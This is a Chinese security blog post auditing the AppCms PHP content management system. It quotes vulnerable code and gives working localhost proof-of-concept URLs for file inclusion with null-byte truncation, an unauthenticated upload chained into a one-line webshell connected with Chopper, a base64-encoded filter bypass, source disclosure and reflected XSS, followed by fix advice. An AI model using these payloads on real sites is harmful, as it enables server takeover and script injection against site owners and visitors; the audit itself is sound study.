前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >AppCms的一次综合审计

AppCms的一次综合审计

作者头像
p4nda
发布2023-01-03 13:24:17
6490
发布2023-01-03 13:24:17
举报
文章被收录于专栏:技术猫屋

目录

一、前言

进入六月以后,自己的时间也就充裕很多了。很多比赛结束、绿盟那边暂时也没有什么任务,就等着7月份去入职了。所以沉下心准备学点东西。于是就选择一位老哥审计过的源码,自己来审计一遍,看看自己的差距,也给自己增加点经验。再就是上次土司聚会就说会在土司发表一篇文章……所以潜水很多年的我来了。本文章是审计的一个CMS系统,比较乱,希望别介意。

二、正题

我的审计思路一般是:->看目录摸清大体的框架->找具体功能审计->选择漏洞类型进行审计。

图1 主要目录Tree

看目录很明显,有后台目录、缓存目录、数据储存目录、安装目录、插件目录以及手机版的目录。大体的目录了解了后,就开始正式的审计了。 首先看下入口文件index.php,发现很有趣,按照常规的入口文件,一般是引入核心文件什么的,而他直接就是将一些过滤代码写到了入口文件。

代码语言:javascript
复制
// 预防XSS漏洞
foreach ($_GET as $k => $v) {
    $_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
//预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
    if (isset($_GET['act']) && $_GET['act'] == 'hot') {
        if (trim($_GET['q']) == '') {
            $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
            $res = $dbm->query($sql);
            if (empty($res['error']) && is_array($res['list'])) {
                foreach ($res['list'] as $k => $v) {
                    $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
                }
                echo json_encode($res['list']);
                exit;
            } else {
                die();
            }
        }
    }
    //超出长度截取
    if (strlen($_GET['q']) > 20) {
        $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
    }

    if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
    if (!preg_match("/^[{4e00}-{9fa5}{0}]+$/u", $_GET['q'])) {
        die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
    }

可以看出,系统做了两个过滤。一个是htmlspecialchars(v),另一个是/^[\x{4e00}-\x{9fa5}\w {0}]+/u。前一个过滤是把预定义的字符 "<" 和 ">"转换为 HTML 实体,后一个是用正则处理参数,使其只能输入下划线、数字、字母、汉字和空格。

继续看,下面的代码主要是加载分类板块,本以为没有什么希望在这个文件寻找出什么漏洞的时候,最后几段代码让我眼前一亮。

代码语言:javascript
复制
if (substr($tpl, strlen($tpl) - 4, 4) == '.php') {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
} else {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
}
if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);
require(dirname(__FILE__) . $tmp_file);

首先构建php文件,然后判断该php文件是否存在,如果不存在,直接die,如果存在,引入该文件。没有任何过滤或者判断,很明显的文件包含漏洞!!于是测试查看phpinfo的信息。在根目录下创建了一个phpinfo文件。

图2 phpinfo文件

然后根据代码,来构建playload。

http://localhost/app/index.php?tpl=../../phpinfo&id=1

图3 包含结果

成功读取。 到这里有两个利用的思路。一是读取相关敏感信息,二是利用该漏洞上传文件带有一句话的文件,通过该包含漏洞进行链接菜刀。第一个尝试了一下,没有发现什么有效的敏感信息。后台什么的,都是js文件和php文件操作,这个包含也看不了什么信息,于是就把目光转向了第二个。既然是上传,肯定要找上传点,发现前台并没有什么上传点,于是尝试着后台,发现一个神奇的地方。

图4 上传点

app/upload/upload_form.php?params=%7B%22inner_box%22%3A%22%23ff1%22%2C%22func%22%3A%22callback_upload_resource%22%2C%22id%22%3A%221%22%2C%22thumb%22%3A%7B%22width%22%3A%22300%22%2C%22height%22%3A%22300%22%7D%2C%22domain%22%3A%22localhost%22%7D

这个上传点竟然没有上传权限限制,就是说只要知道这个地址,可以传任何图片、APK文件到服务器上。然后查看了下upload_form.php文件。果然如此,只是一个上传文件的格式判断以及传入参数判断,如果参数正确,就可以上传,没有验证访问者的权限。

代码语言:javascript
复制
 $upload_server= SITE_PATH."upload/";
    //上传安全验证字符串
    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY);
    $params=$_GET['params'];
    $params=preg_replace('~(\)~','"',$params);
$json=json_decode($params);    

这就有意思了。 于是结合上面的那个文件包含漏洞,上传一个含有一句话的图片,尝试获取shell。

图5 一句话木马图片上传

PS:这里有个问题,就是图片上传后,文件名是随机的,实际操作的时候,可能要扫目录或者其他方法获取文件名。 因为在服务器上储存的是jpg文件,如果直接访问的话,肯定是显示不存在模板,如下:

图6 尝试读取

随即自然的想起了%00截断。由于本地环境的php版本是5.2.17<5.3.4,而且并没有开启magic_quotes_gpc所以是可以截断成功的。如下:

图7 %00截断

http://localhost/app/index.php?tpl=../../upload/img/2017/06/11/ 593cc2106fd93.jpg%00&id=1

菜刀成功连接之。

图8 菜刀连接

看完了入口文件,开始审计其他内容,首先从安装开始,很遗憾,并没有发现什么漏洞,想从注册和登陆这块审计,无奈这套系统又不存在这个功能,所以就开始了针对于漏洞的审计。发现根目录下的pic.php存在问题。代码如下:

代码语言:javascript
复制
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
    
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1]; 
    
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
    
} else {
    die('image not find£¡');
}

以GET的请求方式,传入两个参数:url和type,要求url参数必须是base64格式,然后系统经过转变成小写后进行判断验证。判断有很多,主要是判断url传入参数的长度、内容,如果长度大于256和小于等于1,包含关键字php、非标准化路径统统报错,并且type类型只能是jpg/gif/png/jpeg。

程序编写者明显是有安全意识的。但是这里还是存在两个漏洞的,一个是文件包含漏洞,一个是文件下载漏洞。

上面的确是对url参数的做了几次验证,但是开发者忽略了编码转换。就是说,如果我们讲%00、php等类似的字符进行url编码转换以后,再进行base64加密,传入参数后,这几个验证是可以绕过的!

我们根据上面的文件包含漏洞来构建playload。

http://localhost/app/pic.php?url=dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn&type=jpg

其中dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn解密后是upload/img/2017/06/10/593cc2106fd93%2e%70%68%70%25%30%30.jpg 这里的%2e%70%68%70%25%30%30是.php%00。然后菜刀连接之。

图9 连接地址

图10 成功连接

还有一个漏洞就是header("Content-Type: image/{$_GET['type']}");

这里我们只要构造type的类型不等于in_array()中的任何一个条件,Content-Type:image/tpye 就会因为头文件错误导致无法正确解析源文件,造成直接下载源文件的现象。(大家可尝试在php的文件里加上header("Content-Type: image/php");看看效果

继续看文件,发现了很多XSS漏洞,不过都是反射型的,这里就找两个说吧。

第一处:/templates/m/inc_head.php

代码语言:javascript
复制
<input type="text" id="abc" class="search-txt" value="<?php if(isset($_GET['q'])) echo $_GET['q'];?>" />

很明显的xss漏洞,直接判断参数q是否存在,然后输出。

直接构建playload:

http://localhost/app/templates/m/search.php?q="/><script>alert('xss')</script>

成功触发漏洞。

图11 XSS漏洞(1)

第二处:/templates/m/search.php

代码语言:javascript
复制
<title>ËÑË÷ <?php if(isset($_GET['q'])) echo $_GET['q'];?> - <?php echo SITE_NAME;?></title>

同上,直接构造playload:

http://localhost/app/templates/m/search.php?q=a<;/title><script>alert('xss')</script>

成功触发漏洞。

图12 XSS漏洞(2)

最尴尬的是,inc_head.php 这个文件是存在xss漏洞的,但是很多文件都引入了这个文件,也就导致了很多地方存在了此漏洞。

三、安全建议

对于文件包含漏洞,可以设置类似白名单的方法,通过筛选固定文件名方法。这样一方面不必切断这个业务,另一方面又不会被轻易绕过,当然,也可以采用设置open_basedir的方法来防御。

对于XSS漏洞,没什么好说的,本套系统之所以出现XSS漏洞,是因为没有类似于PC端那种直接使用正则进行参数验证,所以只要使用Index.php的那种过滤,是可以的。

四、总结

这次审计对于自己算是一次进步和总结吧,最遗憾的是没有审计到sql注入漏洞,因为入口的那个正则过滤以及始终无法闭合双引号(双引号被转义成实体),所以始终没有注入成功。

有兴趣的可以下载这套系统审计看看,就当练手。最后,有不足的地方欢迎指出,我会听取各位大佬的意见。轻喷哈~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • 一、前言
  • 二、正题
  • 三、安全建议
  • 四、总结
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档